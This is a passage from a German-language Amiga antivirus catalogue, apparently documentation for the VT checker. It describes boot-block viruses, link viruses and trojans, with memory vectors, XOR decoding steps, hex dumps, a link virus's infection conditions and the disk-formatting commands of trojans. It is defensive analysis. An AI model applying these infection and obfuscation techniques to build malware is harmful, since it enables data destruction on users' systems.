  6535.          0000: 43726163 6b656421 00000004 00000000 Cracked!........
  6536.          0010: 00000003 00000012 40001272 40001a2f ........@..r@../
  6537.  
  6538.  
  6539.    - Died   siehe bei PP-Bomb
  6540.  
  6541.    - DIGITAL AGE = Rude Xerox = Forpib-Clone
  6542.          nur Text geaendert
  6543.  
  6544.  
  6545.    - DIGITAL-DREAM-Inst.   File    anderer Name: Jeffkiller V2.67
  6546.          Laenge gepackt :  6496 Bytes
  6547.          Laenge entpackt:  9960 Bytes
  6548.          Man erkennt, dass es sich um ein Hunklab-File handelt.
  6549.          - Ein Virusinstall-Teil fuer den Speicher.
  6550.          - Ein Bildanzeigeteil mit Bilddaten
  6551.          - Ein Code um Jeffkiller.info auf die Disk zu schreiben.
  6552.            Jeffkiller.info          Laenge: 54 Bytes
  6553.            4a656666 76697275 73206f6e 20446973 Jeffvirus on Dis
  6554.            6b207761 73206b69 6c6c6564 2e2e2e0a k was killed....
  6555.            6279204a 6566666b 696c6c65 72205632 by Jeffkiller V2
  6556.            2e363720 0a000000 00000000 00000000 .67 ............
  6557.          Das Teil behauptet im Bild ein Jeff-Killer zu sein. In Wirk-
  6558.          lichkeit wird im Speicher das BB-Virusteil installiert. Wenn
  6559.          Sie mit der Maustaste einen Suchvorgang ausloesen, wird auf
  6560.          die Disk auch ein Textfile s.o. geschrieben.
  6561.          VT bietet loeschen an.
  6562.  
  6563.    - DIGITAL-DREAM-Virus  BB (0-3)
  6564.          Im Speicher immer ab $7f400
  6565.          Verbogene Vektoren: Supervisor, DoIo, KickTag, KickChecksum
  6566.          KS1.3 : ja
  6567.          KS2.04: ja
  6568.          68030:  nein
  6569.          Fordert trackdisk.device NICHT
  6570.          Namensbegruendung: im decodierten BB ist zu lesen
  6571.            203e3e44 49474954 414c2044 5245414d  >>DIGITAL DREAM
  6572.            3c3c2000 6279204d 6178206f 66205374 << .by Max of St
  6573.            61724c69 67687400 48e7fffe 2c790000 arLight.H...,y..
  6574.          Ablauf:
  6575.            - rettet Orig.BB
  6576.            - Haengt eigenes Virusteil davor.
  6577.            - Codiert BB-Virus mit eor.b x,(a0)+ neu. (x abhaengig
  6578.              von $DFF006)
  6579.            - Schreibt 4 Bloecke zurueck.
  6580.          D.h. ein File das an Block 2 beginnt, wird zerstoert. Sie
  6581.          koennen die Reste des Files nur noch loeschen.
  6582.          VT bietet an, den Orig.BB zu suchen (O-BB) und kann ihn
  6583.          wieder installieren.
  6584.  
  6585.  
  6586.    - DIGITAL EMOTIONS   Cool, im Prg. DoIo und zurueck, immer $7ec00
  6587.          im BB immer sichtbar: *** DIGITAL EMOTIONS ***
  6588.          je nach Zaehlerstand
  6589.          - wird eigener BB geschrieben oder
  6590.          - Track 0 mit 'VIRUS ' beschrieben.  Folge: keine Dos-Disk
  6591.          Textausgabe (decodiert mit -1) ueber DisplayAlert:
  6592.                 KickStart ROM Corrupted at $c00276
  6593.  
  6594.    - DirtyTricks  richtiger Name Incognito
  6595.       (das VirusPrg speichert am Ende des BB`s Tabellen mit ab, die
  6596.        sich nach Speicherlage und Konfiguration des Amiga aendern.
  6597.        Beim Booten des Viruses werden die Tabellen neu angelegt !!!)
  6598.  
  6599.    - DISASTER MASTER V2  ( cls * )   1740 Bytes
  6600.          eigenstaendiges Prg. fuer startup-sequence
  6601.          KickTag, KickCheck
  6602.          im Prg. DoIo und wieder zurueck
  6603.          Cool und Cold werden geloescht
  6604.       Entfernung: 1.Zeile in startup. loeschen
  6605.                   cls in DfX:c loeschen
  6606.          Erstellungsprogramm:
  6607.          Intro-Maker von T.C.R. Laenge: 10624 Bytes
  6608.           (war vor der Entdeckung z.B. auf Franz 47)
  6609.  
  6610.    - DISGUST  BB  Cool $7EDDE, DoIo $7ECA4  im Speicher immer $7EC00
  6611.          KS2.04: GURU nach RESET
  6612.          Fordert trackdisk.device NICHT
  6613.          Schaden und Vermehrung: ueber BB
  6614.  
  6615.          Versucht durch im BB lesbaren Text zu taeuschen:
  6616.                              003e2041 6d696761         .> Amiga
  6617.            20353030 20557469 6c697479 2020426f  500 Utility  Bo
  6618.            6f74426c 6f636b20 56310030 20546869 otBlock V1.0 Thi
  6619.            73206973 204e4f20 56697275 73203c00 s is NO Virus <.
  6620.  
  6621.          Namensbegruendung:
  6622.          Decodiert mit :   not.b (a1)
  6623.                            eori.b #$28,(a1)+
  6624.                                   steht im Speicher:
  6625.                                       20546869              Thi
  6626.            73206973 20746865 20444953 47555354 s is the DISGUST
  6627.            202d2056 69727573 20627920 4d617820  - Virus by Max
  6628.  
  6629.    - DiskSalv 3.01 Loader  siehe bei MODEMCHECK-Virus
  6630.  
  6631.    - DiskSpeeder-Trojan
  6632.          andere moegliche Namen:
  6633.            GVP-HardDiskSpeeder
  6634.            Karacic-Trojan      siehe dort
  6635.  
  6636.    - Disk Speed Check V1.01ß  Virus  anderer Name: DSC101 s.u.
  6637.  
  6638.    - Disk-Doktors (KickV1.2 da absolute ROM-Einspruenge)
  6639.          Cold, Cool, DoIo
  6640.          Fordert trackdisk.device NICHT
  6641.          Die angeblichen Mutanten unterscheiden sich in $4 (Pruefsumme)
  6642.          und von $390-$3A8 (Variablenablage = bei jedem Reset anders)
  6643.          Im BB ist uncodiert zu lesen
  6644.            0000a3e0 000000f0 20284329 7261636b ........ (C)rack
  6645.            72696768 74206279 20446973 6b2d446f right by Disk-Do
  6646.            6b746f72 73202020 20200000 00000000 ktors     ......
  6647.  
  6648.    - DiskDoktors-Lader   KEIN Virus !!!!!!
  6649.          Über einen DD-BB-Virus wurde ein BB-Lader gespielt. Dieser
  6650.          soll Diskinhalte aus einem hohen Sektorbereich auf Disk
  6651.          nachladen und dann in den Ladebereich springen. Da der
  6652.          BB-Lader nicht den ganzen BB belegt, ist am Ende des BBs
  6653.          (C)rackright usw. stehengeblieben. Dieser Bereich wird vom
  6654.          BB-Lader NIE (!!!!) erreicht. Wenn also einige Antivirus-
  6655.          programme bei diesem BB einen BB-Virus erkennen, so handelt
  6656.          es sich um eine FEHLERKENNUNG !!!!!
  6657.  
  6658.    - Disk-Herpes    Cool, im Prg. DoIo, im Speicher immer ab $7ec00
  6659.          wird haeufig mit Phantasmumble verwechselt, Fastmem ja
  6660.          Vermehrung: ueber BB
  6661.          Schaden: schreibt auf Track 80 (Root) Speicherinhalt ab
  6662.          $60000. Folge: Disk BAD
  6663.          Graphikroutine: Deutschlandfahne + Text (auch im BB sichtbar)
  6664.               --- Hello Computerfreak ---
  6665.             You've got now your first VIRUS
  6666.               ** D i s k - H e r p e s **
  6667.               Many Disks are infected !!
  6668.             Written by >tshteopghraanptha<
  6669.                 c 27.07.1987 in Berlin
  6670.  
  6671.    - Disk.info   Laenge: 370 Bytes  KEINE Vermehrung
  6672.          Ein OriginalWB1.3-Icon wurde in der Struktur geaendert. (Text
  6673.          eingebaut z.B. This is a little present for all Lamers
  6674.          abroad ). Sobald Sie diese Disk einlegen und es muesste das
  6675.          Disk-Icon auf der WB angezeigt werden, stuerzt der Rechner
  6676.          ab. Haben Sie die Startup-Sequence im Cli abgebrochen, so
  6677.          muss kein Icon dargestellt werden und deshalb koennen Sie
  6678.          mit dieser Disk ohne Probleme arbeiten. AbHilfe: Ersetzen
  6679.          Sie Disk.info .       Herkunft: unbekannt  (Disk-Packer ???)
  6680.                                        
  6681.    - DISK-KILLER V1.0  File  Laenge ungepackt: 1368 Bytes
  6682.        Unter welchem Filenamen das Programm weitergegeben wird, ist
  6683.        mir unbekannt. (wahrscheinlich disktest)
  6684.        Namensbegruendung: im File steht uncodiert:
  6685.          20204449 534b2d4b 494c4c45 52205631   DISK-KILLER V1
  6686.          2e302020 200a                        .0   .
  6687.        Nach dem Fileaufruf wird folgender Text ausgegeben:
  6688.  
  6689.         "   DISK-KILLER V1.0   ",10
  6690.         "HEY YOU IN FRONT OF THE SCREEN !",10
  6691.         "YOU ARE A LAMER !!!! HE HE HE ",10
  6692.                 "WHY ????",10
  6693.         "- BECAUSE YOU HAVE A VIRUS !!",10
  6694.         "HE HE HE ",10
  6695.             "THIS WAS DONE IN TEN MINUTES",10
  6696.         "BY THE MEGA-MIGHTY MAX ",10
  6697.         "BYE BYE DISK !!",10
  6698.         "GREETS ARE GOING TO:",10
  6699.         "> LAMER EXTERMINATOR <",10
  6700.             "SUFFER...",10
  6701.  
  6702.        Danach beginnt SOFORT die Zerstoerungsarbeit in ALLEN Disk-
  6703.        Laufwerken. Die Disketten sind danach WERTLOS. Sie muessen
  6704.        sie neu formatieren. Das Virusteil ist also NICHT im Speicher
  6705.        zu finden, sondern nur beim Filetest. Von der Definition her
  6706.        handelt es sich nicht um ein Virus-Programm, da keine Ver-
  6707.        mehrung angestrebt wird. VT getestet: 21.11.92  Bitte ueber-
  6708.        pruefen Sie nach dem Loeschen des Files auch die startup-
  6709.        sequence ihrer Disk.
  6710.        siehe auch: XaCa-D.Killer = Clone
  6711.  
  6712.    - Disk-Terminator Virus   BB   SCA-Clone  siehe unten
  6713.        Namensbegruendung: im BB ist zu lesen
  6714.            20202044 69736b2d 5465726d 696e6174    Disk-Terminat
  6715.            6f722056 69727573 20202020 2020d2aa or Virus      ..
  6716.        Anfaengerprogrammierung: graphics.library liegt an ungerader
  6717.        Adresse. GURU ist sicher   
  6718.            fe018000 00ffffff fe0428ff fafbd367 ..........(....g
  6719.            72617068 6963732e 6c696272 61727900 raphics.library.
  6720.                                                               ^
  6721.        Weiterer Auszug:
  6722.        43fa lea     743(PC)(=$a030f),A1
  6723.        2c79 move.l  $000004,A6
  6724.        4eae jsr     -96(A6)
  6725.        2040 move.l  D0,A0
  6726.        2068 move.l  22(A0),A0
  6727.        7000 moveq   #$00,D0
  6728.        4e75 rts
  6729.         doslibname wird an ungerader Adresse gesucht, ist aber an ge-
  6730.         rader Adresse. Also wird nach Name gesucht, der mit 0 beginnt.
  6731.         (siehe ^ ) GURU ist sicher. Verantwortlich zeichnet SLASH
  6732.  
  6733.    - Disnomia-Inst.    Installer
  6734.       Filelaenge: 1108 Bytes
  6735.       verbogene Vektoren: LoadSeg, Newloadseg
  6736.       Vor das UNCODIERTE Linkteil wurden einige Bytes fuer den Start
  6737.       gestellt.
  6738.  
  6739.    - Disnomia-LVirus    Linkvirus
  6740.       vgl. auch Elbereth3
  6741.       Namensbegruendung:    
  6742.            Im decodierten LinkTeil ist zu lesen:     
  6743.            00bfd100 60ce3d3d 3d202121 21204469 ....`.=== !!! Di
  6744.            736e6f6d 69412021 2121203d 3d3d20a9 snomiA !!! === .
  6745.            202a204d 61442072 6f474572 20313939  * MaD roGEr 199
  6746.            37202a20 506f6c61 6e640054 68697320 7 * Poland.This
  6747.       Fileverlaengerung: #1060 Bytes
  6748.       Nicht Resetfest
  6749.       Verbogene Vektoren: LoadSeg NewLoadSeg
  6750.       Speicherverankerung:
  6751.            - Test ob schon im Speicher ($2F01)
  6752.            - Loadseg und NewloadSeg wird verbogen
  6753.            - Testet spaeter geladene Filenamen auf "v" oder "V".
  6754.              Es ist deshalb sinnvoll ihr Antivirusprogramm fuer den
  6755.              privaten !!!! Gebrauch umzubenennen, sonst koennten Sie
  6756.              meinen Ihr System sei sauber, da sich das Teil bei "v"
  6757.              oder "V" aus dem Speicher entfernt.
  6758.       Linkvorgang:
  6759.            - mit LoadSeg und NewLoadSeg
  6760.            - File noch nicht verseucht (Datum)
  6761.              Wenn Sie also ein verseuchtes File kopieren und das File-
  6762.              Datum nicht mitnehmen, kann es zu einer Mehrfachverseuchung
  6763.              kommen.
  6764.            - Medium validated
  6765.            - 4 Block frei
  6766.            - File ausfuehrbar ($3F3)
  6767.            - CodeHunk wird gefunden ($3E9)
  6768.            - File groesser #2120 Bytes
  6769.            - File kleiner #282286 Bytes
  6770.            - 1. Hunk kleiner $1fff x 4 = #32764 Bytes
  6771.            - Gesucht wird im 1.Hunks in einem Bereich von
  6772.              #32736 ($3ff0 x 2) nach bcc ($6v00wxyz), jsr xy ($4EBAwxyz)
  6773.              oder jsr -xy(a6) ($4EAE wxyz)
  6774.            - Dieses LW wird durch bsr Virus ($6100wxyz)
  6775.              ersetzt.
  6776.            - das Teil codiert sich immer neu mit $DFF007
  6777.       Zerstoerung:
  6778.              Falls der Wert $AA in D7 erreicht wird, soll eine
  6779.              "Floppy-Musik" ausgeloest werden. Ihr Disklaufwerk wird
  6780.              also durch Endanschlaege Schaden nehmen, wenn Sie nicht
  6781.              schnell reagieren.
  6782.  
  6783.    - Disktroyer V1.0  File Laenge ungepackt: 804 Bytes
  6784.          AllocMem
  6785.          auch mit KS2.04
  6786.          Versucht durch Loeschen des Cli-Fensters zu taeuschen.
  6787.          Ich vermute deshalb, dass das File als Cls-Befehl getarnt
  6788.          wird.
  6789.          Im File zu lesen: Disktroyer V1.0   usw.
  6790.          Keine Vermehrungsroutine
  6791.          Schaeden, wenn:
  6792.             - allocmem angesprungen wird und
  6793.                - in der Zaehlzelle der Wert $96 steht
  6794.                - Disk im Laufwerk liegt
  6795.                - Disk nicht schreibgeschuetzt ist dann:
  6796.             - Kopfstep (Zerstoerung der Disk(s)) alle Laufwerke
  6797.                (Routinen stehen nach meiner Meinung genau so in einem
  6798.                   bekannten Buch !!!!!)
  6799.             - DisplayAlert: Disktroyer V1.0    usw.
  6800.          Empfehlung: File loeschen (VT) und startup-sequence ueber-
  6801.             pruefen .
  6802.  
  6803.    - Disktroyer V2.0  File Laenge ungepackt: 812 Bytes
  6804.          GetMsg
  6805.          auch mit KS2.04
  6806.          Versucht durch Loeschen des Cli-Fensters zu taeuschen.
  6807.          Ich vermute deshalb, dass das File als Cls-Befehl getarnt
  6808.          wird.
  6809.          Im File zu lesen: 
  6810.            01041444 69736b74 726f7965 72205632 ...Disktroyer V2
  6811.            2e300001 00c82828 77292061 6e6420a9 .0....((w) and .
  6812.            20313939 31206279 20746865 20706f77  1991 by the pow
  6813.            65726675 6c200001 01003c54 68652046 erful ....<The F
  6814.            616e6174 69632043 72657720 00010098 anatic Crew ....
  6815.            usw. .....
  6816.          Keine Vermehrungsroutine
  6817.          Schaeden, wenn:
  6818.             - GetMsg angesprungen wird und
  6819.                - in der Zaehlzelle der Wert $222222 steht
  6820.                    (Wert wird zuegig erreicht)
  6821.                - Disk im Laufwerk liegt
  6822.                - Disk nicht schreibgeschuetzt ist dann:
  6823.             - Kopfstep (Zerstoerung der Disk(s)) alle Laufwerke
  6824.                (Routinen stehen nach meiner Meinung genau so in einem
  6825.                   bekannten Buch !!!!!)
  6826.             - DisplayAlert: Disktroyer V2.0    usw.
  6827.          Empfehlung: File loeschen (VT) und startup-sequence ueber-
  6828.             pruefen .
  6829.  
  6830.  
  6831.    - Disk-Val. RTS (L)   File  Loeschen
  6832.          Laenge  1848 Bytes
  6833.          KEIN Virus
  6834.          Das Original wurde durch ein File ersetzt, das nur RTS enthaelt,
  6835.          also die Disk-Validator-Funktion NICHT erfuellen kann.
  6836.          Empfehlung: Durch Original ersetzen.
  6837.          Im File ist zu lesen:
  6838.             000001c5 60040000 005c70ff 4e750000 ....`....\p.Nu..
  6839.                  ;Rest nur Null
  6840.  
  6841.  
  6842.    - Disk-Val.Tr.moDOS   File  NICHT loeschen
  6843.          Laenge  1848 Bytes
  6844.          KEIN Virus
  6845.          Gefunden wurde das Teil auf Disks mit BB-Loadern und NICHT-DOS-
  6846.          Disk-Format. Das Teil darf NICHT geloescht werden, da anscheinend
  6847.          der Disk-Validator fuer die andere Disk-Struktur umgeschrieben
  6848.          wurde.
  6849.          Im File ist zu lesen:
  6850.             20547261 636b6d6f 444f5320 312e3020  TrackmoDOS 1.0
  6851.  
  6852.  
  6853.    - DiskVal1234      Disk-Validator   Laenge:1848 Bytes
  6854.          Grundgeruest ist der SADDAM-Disk-Validator  (siehe unten)
  6855.          Aenderungen: nicht mehr codiert als Disk-Validator (lesbar
  6856.            am Fileende z.B. strap, mycon.write usw )
  6857.            Veraendert Bloecke die mit 8 beginnen:
  6858.            Schreibt in diese Bloecke nach $5a  1234  und ab $64 dann
  6859.            66x 4e71 (NOP). (Also nicht mehr Austausch von 8 mit IRAK)
  6860.  
  6861.            Rufen Sie dann ein solches File auf, so stuerzt der Rechner
  6862.            ab, da ja wichtiger PrgCode mit NOPs ueberschrieben wurde
  6863.            (bei mir wird der Bildschirm gelbbraun).
  6864.            So leid es mir tut, diese Files koennen NICHT gerettet wer-
  6865.            den. VT bietet loeschen an. Es kann also sein, dass ihre
  6866.            ganze Disk unbrauchbar wird.
  6867.  
  6868.    - DiVa-SADDAM-Inst.    File
  6869.          Anderer Name: LamerKiller
  6870.          Laenge gepackt: 11512 Bytes
  6871.          KS1.3 Ja
  6872.          KS2.04  GURU3
  6873.          Verbogene Vektoren: Cold, BeginIo usw.
  6874.          Installiert SADDAM-Disk-Validator  (codiert IRAK)
  6875.          Keine Meldung im Cli
  6876.  
  6877.    - DIVINA EXTERMINATOR I   Cool, DoIo, Inter.5 und $64. Im Prg dann
  6878.          noch $68 und $6c. Ueberschreibt SetPatchListe ab $C0.
  6879.          Codiert BB neu mit Wert aus $DFF006 (steht dann im BB $3F6)
  6880.          nach eor.w d0,d1   ist im Speicher zu lesen:
  6881.             VIRGO PRESENTS DIVINA EXTERMINATOR I
  6882.          Versucht einen sauberen OrigBB vorzutaeuschen.
  6883.          Schaeden und Vermehrung: BB
  6884.          nach 3 Vermehrungen: beginnt die K-Taste abzufragen und bis
  6885.          10 in einer Zaehlzelle abzulegen. Dann wird nach $4 (ExecBase-
  6886.          Zeiger) der Wert 0 geschrieben = Absturz
  6887.          Ursprung: -p-turbo.dms
  6888.  
  6889.    - DIVINA II  s.o. DIVINA EXTERMINATOR I
  6890.          Das Decodierwort in $3F6 ist anders. Grund s.o.
  6891.          (schafft endlich die Brainfiles ab !!! und disassembliert
  6892.           den VirenCode sauber und vollstaendig)
  6893.  
  6894.    - DLog V1.8   siehe oben Devil_11_B.Door
  6895.  
  6896.    - DM-Trash  File  siehe bei ZAPA-B.Door
  6897.  
  6898.    - DMS206-Trojan   anderer Name Fastcall-Trojan
  6899.          Filename:dms206.exe   Laenge:45732 Bytes
  6900.          Das Programm meldet sich auch so.
  6901.          Aber mir ist keine DMS-Version 2.06 bekannt (Stand:05.01.95).
  6902.          Also bitte Vorsicht.
  6903.          Keine verbogenen Vektoren.
  6904.          Keine Vermehrung .
  6905.          In Wirklichkeit wurde mit der $4EB9-Methode (s.o.) ein Einbruchs-
  6906.          werkzeug gegen Fastcall (nehme ich an) angehaengt.
  6907.          Vgl. auch Viewtek22-Installer und LHAV3-BBS-Trojan. Es ist ein
  6908.          SEHR aehnliches Muster, nur der Username wechselt.
  6909.          Decodiert mit  eori.b #$EE,(a0)+  ist in dem Trojanteil zu lesen:
  6910.          "S:HauptPfad",0
  6911.              "User/SYSOP/Userdaten",0
  6912.              ;.......
  6913.              "SnoopDos",0
  6914.          Zuerst wird nach aktivem SnoopDos gesucht.
  6915.          Falls gefunden: Abbruch mit Selbstloeschung im Speicher.
  6916.          VT bietet Ausbau an. Aber Vorsicht bitte wg. der DMS-Vers.Nr.
  6917.          DMS-File Laenge ohne Trojan: 43952 Bytes
  6918.  
  6919.    - DMS213-Trojan     Zerstoerungsfile  Laenge ungepackt: 92440 Bytes
  6920.          Keine verbogenen Vektoren
  6921.          Die DMS-Version 2.13 gibt es noch nicht (Stand: 15.06.94)
  6922.          Zerstoerung:
  6923.          Vom Filebeginn wird mit JMP in eine Execute-Routine am File-
  6924.          ende gesprungen, die eine Formatierung von dh0: ausfuehren
  6925.          soll.
  6926.          VT bietet Ausbau an (Laenge dann: 92208 Bytes). Es duerfte
  6927.          sich hierbei um DMS2.01 handeln. Im entstehenden File bleiben
  6928.          noch einige falsche Textstellen zurueck. Da es inzwischen
  6929.          (Stand: 15.06.94) neuere DMS-Versionen geben soll, waere es
  6930.          mir lieber, Sie loeschen das File ganz und spielen eine saubere
  6931.          Version neu auf. Danke
  6932.          Im verseuchten File ist zu lesen:
  6933.            646f732e 6c696272 61727900 24564552 dos.library.$VER
  6934.            3a204465 76696365 2d4d6173 6865722d : Device-Masher-
  6935.            53797374 656d2076 322e3133 2039342d System v2.13 94-
  6936.            30362d30 31004e55 ffe448e7 37322648 06-01.NU..H.72&H
  6937.                ;........
  6938.            20534365 4e452069 53204c61 4d45202d  SCeNE iS LaME -
  6939.            20536947 4e654420 42792052 6f414453  SiGNeD By RoADS
  6940.            54615252 2f4c7344 20202020 20202020 TaRR/LsD
  6941.            646f732e 6c696272 61727900 666f726d dos.library.form
  6942.            61742064 72697665 20646830 3a206e61 at drive dh0: na
  6943.            6d652046 75434b6f 46462066 66732071 me FuCKoFF ffs q
  6944.            7569636b 0a8c018d 000003ec 00000003 uick............
  6945.          Eine echte Meisterleistung !!!!
  6946.  
  6947.  
  6948.    - Doom-Trojan    File   gegen BBS
  6949.          Laenge gepackt:   406012 Bytes
  6950.          Laenge entpackt:  407688 Bytes
  6951.          Das File enthaelt 380KB Muell (DMSMaPuS, ProTracker usw.) .
  6952.          Wahrscheinlich soll die Filelaenge eine Doom-Variante glaub-
  6953.          haft machen. Wenn man den Rest des File mit  not.b d0  decodiert,
  6954.          findet man drei Files (assign, copy und diskfont.library), ein
  6955.          Ueberschreibfile (s.u.) und einen Text:
  6956.            f7fdfbef f8fd646f 732e6c69 62726172 ......dos.librar
  6957.            79005245 53544943 54454400 6262733a y.RESTICTED.bbs:
  6958.            75736572 2e646174 61006262 733a7573 user.data.bbs:us
  6959.            65722e6b 65797300 633a436f 70790063 er.keys.c:Copy.c
  6960.            3a417373 69676e00 6c696273 3a646973 :Assign.libs:dis
  6961.            6b666f6e 742e6c69 62726172 79000000 kfont.library...
  6962.          Aufgabe des "sinnvollen" Teiles:
  6963.            - decodiere mit   not.b d0
  6964.            - Kopiere 3 Files (Dos-Funktionen).
  6965.            - setze bei copy und assign mit setfiledate (ab KS 2.04)
  6966.              das Datum 2. Sept 1992
  6967.            - setze bei diskfont.library das Datum 10. Juni 1994
  6968.            - setze pure-Flag bei assign und copy
  6969.            - setze execute-Flag bei diskfont.library
  6970.            - setcomment RESTICTED bei user.data und user.key
  6971.            - arbeitet mit getprgname (ab KS 2.04) und ueberschreibt das
  6972.              Ursprungs-Doom-File mit einem neuen Prg. Laenge:32020 Bytes
  6973.              Dieses neue Prg veraendert Bildschirmausgabe und Audiodaten.
  6974.              Dieses Programm enthaelt wieder jede Menge Muell-Bytes, die
  6975.              nie erreicht werden. Etwas sinnvolles habe ich bei Tests auf
  6976.              dem Monitor mit diesem neuen File NICHT gesehen.
  6977.          Dringende Empfehlung: Loeschen
  6978.  
  6979.    - Doom-Assign   File
  6980.          Original-Assign duerfte sein: 37.4 (25.4.91)  3220 Bytes
  6981.          Assign-Trojan gepackt: 3220 Bytes
  6982.          Es wurde also Wert darauf gelegt, die Laenge gleich zu halten.
  6983.          Dennoch MUSS das File in c auffallen, da es sich um einen
  6984.          seltenen Packer handelt.
  6985.          Das Trojan-Assign kann sich NICHT selbst vermehren.
  6986.          Die Assign-Funktion wird erfuellt.
  6987.          Verbiegt $74 (s.u. bei diskfont.library)
  6988.          Aber: die Bytes auf die getestet wird sind anders:
  6989.                     -  66495265 664C7921 0D
  6990.                     -  "fIRefLy!",0d
  6991.          Empfehlung: Loeschen und Original-Assign aufspielen.
  6992.  
  6993.    - Doom-Copy   File
  6994.          Original-Copy duerfte sein: 38.1 (20.5.92)  5496 Bytes
  6995.          Copy-Trojan gepackt: 5496 Bytes
  6996.          Es wurde also Wert darauf gelegt, die Laenge gleich zu halten.
  6997.          Dennoch MUSS das File in c auffallen, da es sich um einen
  6998.          seltenen Packer handelt.
  6999.          Das Trojan-Copy kann sich NICHT selbst vermehren.
  7000.          Die Copy-Funktion wird erfuellt.
  7001.          Verbiegt $74 (s.u. bei diskfont.library)
  7002.          Aber: die Bytes auf die getestet wird sind anders:
  7003.                     -  6C554E69 54496321 0D
  7004.                     -  "lUNiTIc!",0d
  7005.          Empfehlung: Loeschen und Original-Copy aufspielen.
  7006.  
  7007.    - Doom-diskfont.library   File
  7008.          Original duerfte sein: 39.3 (14.7.92)  15340 Bytes
  7009.          Doom-diskfont.library NICHT gepackt :  15820 Bytes
  7010.          Die Trojan-diskfont.library kann sich NICHT selbst vermehren.
  7011.          Die diskfont.library-Funktionen werden erfuellt.
  7012.          Es wurde ein kleines Trojanteil eingebaut. Um diesen Code
  7013.          auszufuehren, wurde vor viele RTS im Original-Prg. ein Sprung-
  7014.          befehl gesetzt. 
  7015.               Original:                        Trojan:
  7016.          020: 00000dc3 70ff4e75 ....p.Nu 020: 00000e38 70ff6100 ...8p.a.
  7017.                                                            ^^^^
  7018.          028: 4afc0000 00040000 J....... 028: 376c4e75 4afc0000 7lNuJ...
  7019.                                               ^^^^
  7020.                   ;....
  7021.          128: 4e754caf 00030004 NuL..... 128: 00402c5f 61003666 .@,_a.6f
  7022.                                                        ^^^^^^^^
  7023.          130: c0ef000a c2ef0008 ........ 130: 4e754caf 00030004
  7024.                   ;usw....
  7025.          Empfehlung: Loeschen und Original aufspielen.
  7026.          Enthaltenes Trojan-Teil:
  7027.            - Test auf mind. 68010 dann VBR sonst Zero-Page
  7028.            - Test ob $74 schon verseucht (#$48E7C0C0)
  7029.            - falls nein
  7030.               - rette Orig-$74-Adresse
  7031.               - belege 2x Speicher
  7032.               - verbiege Adresse
  7033.               - kopiere Virusteil in Speicher
  7034.          Kopiertes Trojan-Teil:
  7035.            - sucht ueber $DFF018 (seriell) nach einzelnen Bytes
  7036.                  - 4B696E47 41436821 0D
  7037.                  - "KinGACh!",0d
  7038.              Damit kann ich nichts anfangen. Das Teil duerfte "nur" fuer
  7039.              Mailbox-Betreiber gefaehrlich sein.
  7040.  
  7041.  
  7042.    - DOOR_BELLS-Trojan  File  Laenge ungepackt: 15308 Bytes
  7043.          Filename: z.B. EXE_THIS_FIRST!.EXE
  7044.          anderer Name: MST-VEC Virus, Rel 01.28 Virus
  7045.          Keine verbogenen Vektoren.
  7046.          Bei mir nicht lauffaehig, da eine rexxplslib.library gefordert
  7047.          wird, die ich nicht habe.
  7048.          Vermutlich sollen verschiedene LWe schnellformatiert werden.
  7049.          Einen aehnlichen Vorgang finden Sie auch im MultiChat-Trojan.
  7050.          (siehe unten)
  7051.          Fileauszug:   
  7052.            636f7079 203e4e49 4c3a2073 79733a73 copy >NIL: sys:s
  7053.            79737465 6d2f666f 726d6174 2072616d ystem/format ram
  7054.            3a646400 00060542 72616d3a 64640045 :dd....Bram:dd.E
  7055.            05387261 6d3a6464 203e4e49 4c3a2044 .8ram:dd >NIL: D
  7056.            52495645 20737973 3a204e41 4d45203d RIVE sys: NAME =
  7057.            444f4f52 5f42454c 4c533d20 4e4f4943 DOOR_BELLS= NOIC
  7058.            4f4e5320 44495243 41434845 20515549 ONS DIRCACHE QUI
  7059.            434b2046 46532000 004405b5 72616d3a CK FFS ..D..ram:
  7060.            6464203e 4e494c3a 20445249 56452064 dd >NIL: DRIVE d
  7061.            68303a20 4e414d45 203d444f 4f525f42 h0: NAME =DOOR_B
  7062.            454c4c53 3d204e4f 49434f4e 53204449 ELLS= NOICONS DI
  7063.            52434143 48452051 5549434b 20464653 RCACHE QUICK FFS
  7064.            .usw .....
  7065.  
  7066.    - DOpus-Trojan   siehe oben bei CoP-Trojan Typ C
  7067.  
  7068.    - DOpus-Virus     Filename:dopusrt   Laenge ungepackt: 6408 Bytes
  7069.          Bleibt NICHT im Speicher.
  7070.          Von der Definition kein Virus, da keine Vermehrung.
  7071.          Einbruchswerkzeug gegen Mailboxen. Veraendert zwei Files und
  7072.          fuehrt dann das OrigPrg aus.
  7073.          Empfehlung: loeschen
  7074.          VT erkennt File: 15.01.93
  7075.          Im File ist zu lesen:     
  7076.            61727900 00626273 3A757365 722E6461 ary..bbs:user.da
  7077.            74610000 00000000 00000000 00000000 ta..............
  7078.                      ;......
  7079.            00000000 00000000 6262733A 75736572 ........bbs:user
  7080.            2E6B6579 73000000 00000000 00000000 .keys...........
  7081.                      ;......
  7082.            00000000 00000000 00000000 416E6479 ............Andy
  7083.            2F446563 61646500 00000000 00000000 /Decade.........
  7084.            00000000 00000000 00000031 39393200 ...........1992.
  7085.            00000000 3E2D442D 452D432D 412D442D ....>-D-E-C-A-D-
  7086.            452D3C00 00000000 00000000 00000000 E-<.............
  7087.            00003034 302F3735 35333637 32000000 ..040/7553672...
  7088.         Nachtrag 04.03.93: Es ist ein 2. File aufgetaucht, an das
  7089.          dieses gleiche Teil angelinkt ist. Auch dieses File ge-
  7090.          hoert zu DOpus. CRC  Laenge ungepackt: 20716 Bytes
  7091.         Nachtrag 06.03.93: Da jetzt 2 Testfiles vorhanden sind,
  7092.          wurde eine Ausbauroutine eingebaut. Da diese Routine nur
  7093.          an zwei Files getestet werden kann, koennte sie wackeln.
  7094.          Fertigen Sie bitte deshalb vor dem Ausbauversuch UNBEDINGT
  7095.          eine Kopie des verseuchten Files an. Danke
  7096.  
  7097.    - DOSSPEED  (Neuseeland)  richtiger Name: Revenge of the Lamer
  7098.  
  7099.    - Dotty-Virus
  7100.          immer $7F000
  7101.          KickTag, KickCheckSum
  7102.          Im Programm: DoIo, Vec5
  7103.          Fordert trackdisk.device NICHT
  7104.          Vermehrung: BB
  7105.          Weitere Schaeden:
  7106.          Modifiziert PRIVAT-intuition-struktur.
  7107.    - Dotty-MAFIA-Virus:
  7108.          Text geaendert und falscher Sprung.
  7109.            4d202041 20204620 20492041 2020202e M  A  F  I A   .
  7110.    - Dotty-MAFIA-Inst.     gepackt: 1360 Bytes
  7111.                           entpackt: 1928 Bytes
  7112.          Ein 3c(a7)-Link File (s.o.), das einen Dotty-MAFIA.BB im
  7113.          Speicher verankern soll. Das Teil war an ALFaus (richtig,
